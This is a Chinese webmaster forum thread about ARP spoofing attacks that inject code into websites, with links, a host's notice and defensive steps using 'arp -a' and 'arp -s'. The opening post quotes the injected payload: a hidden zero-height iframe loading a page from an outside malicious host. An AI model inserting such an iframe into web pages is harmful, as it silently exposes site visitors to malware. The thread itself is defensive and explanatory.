你的网站还好吗？遭遇ARP欺骗，怎么办？

birder 楼主

“ARP欺骗”专题征稿启事

你的网站还好吗？遭遇ARP欺骗，怎么办？说出你的故事，写出你的案例...


最近，有不少会员反映自己的网站遭遇了“ARP欺骗”，莫名其妙地在网页多了“<iframe src='http://s72.911520.net/site/gg/2.htm' height=0 width=50></iframe>”类似的代码，等等网站中毒现象。

看来“ARP欺骗”有进一步流行扩大的趋势，因此我们将一些此方面讨论聚合，希望能给深受其害的会员给予一定启发和帮助。

也欢迎各位经典会员，能将你的解决过程和对“ARP欺骗”独道见解，写出来发表在计算机技术版块，对于原创性的文章我们将给予加分奖励。

服务器被ARP欺骗
http://bbs.blueidea.com/viewthre ... p;extra=&page=1

网站中毒了怎么办?
http://bbs.blueidea.com/thread-2735234-1-1.html

蓝色理想搜索引擎被注入iframe!!病毒
http://bbs.blueidea.com/thread-2735519-1-1.html

替换网站被下木马网页中的iframe
http://bbs.blueidea.com/viewthre ... p;page=1#pid3136881

关于ARP欺骗
http://bbs.blueidea.com/thread-2658992-1-1.html

关于ARP病毒
http://bbs.blueidea.com/thread-2670567-1-1.html

怎么防范Arp攻击？
http://bbs.blueidea.com/thread-2704642-1-1.html

请教各位高手ARP木马攻击怎样才能找到发出攻击命令的机子.
http://bbs.blueidea.com/thread-2722873-1-1.html

迟到的“Arp欺骗”
http://bbs.blueidea.com/thread-2739823-1-1.html

一些大型网站安全频道也有相应专题:

51CTO的专题
http://netsecurity.51cto.com/art/200609/31897.htm

硅谷动力的专题
http://www.enet.com.cn/security/zhuanti/arp/

[ 本帖最后由 birder 于 2007-4-26 10:35 编辑 ]

scmslw

谢谢了收下了....

hengzhezou

刚刚看到了大狼狗在自己的blog上写的自己的博客被ARP和解决办法。觉得不错大家也可以看一下
http://www.cnbruce.com/blog/showlog.asp?log_id=1191

dnawo

前阵子我博客也中招了，打开一片乱码，向客服反映得出的结果却说是编码的问题：（

bieyinan

尊敬的用户：

最近ARP病毒泛滥，服务器大受其害。ARP即Address Resolution Protocol，将网络IP地址映射至网卡硬 件MAC地址的协议。一般危害为欺骗同网段内的其他服务器地址，截获其数据报文、监听数据传输、盗取 帐号信息，甚至对来访数据包进行欺骗和伪造。该病毒发作方式为：网段内一台服务器中此病毒，病毒将 以此机器作为肉鸡，对同网段服务器进行数据劫持和欺骗。类似于夺取同段内的其他服务器的IP，导致合 法服务器无法正常通讯。此病毒还可对网关地址进行欺骗，造成此网段所有IP地址都无法正常解析。以致 网络大面积瘫痪。目前该病毒已经在我司的控制范围内，由电信路由以及交换机上可查获。
请广大客户给予理解和支持，可在服务器上安装相关ARP防范软件进行一定的查杀和抵御。

部分ARP防范工具下载地址为:http://down.cnsun.net/soft/arp%E ... 99/antiarp4.0.2.exe

昨天收到的网管发来的通知

dnawo

最近网络上很流行一种攻击方式，在你的所有网页里嵌入病毒或广告代码，有时是不定时出现，但是无论你怎么在自己服务器上面怎么查，都找不出原因。甚至重做系统都没有效果。chinaz也曾中过此类病毒，后来终于找到解决办法，因为这个攻击方式还有很多人都被蒙在鼓里，所以在此公布出来给大家分享，请各位站长及网管多注意！

首先，判断是否受到arp欺骗式攻击。
在你系统的命令行下输入：arp -a

会输出如以下的信息：
  Internet Address      Physical Address      Type
  192.168.0.1           00-0a-eb-e7-ba-14     dynamic

前面的IP地址应该是你服务器的网关，后面的是对应的mac地址。
获取这个信息后，你找到机房或是你所托管的服务商，找他确认一下，这个mac地址是否与机房里交换机的mac一致。(或是找一台正常的相同交换机下面的服务器查一下也可)

如果不一致，那证明你已经受到arp欺骗式攻击。

解决办法： 将你从服务器上获得的mac地址发给网管，让他查出对应的是哪台服务器(一般是与您同网段内的)。要么是那台服务器的机主恶意在搞，要么是那台服务器受人入侵中了毒。只需将那台服务器关掉即可马上恢复正常。
也可以在你服务器上手工设置一下。
设置方法： arp -s 网关IP 网关MAC

摘自chinaz.com

yougucaofan

收下，本人对电脑常出现的问题都不会处理，这次可帮了我不了的忙了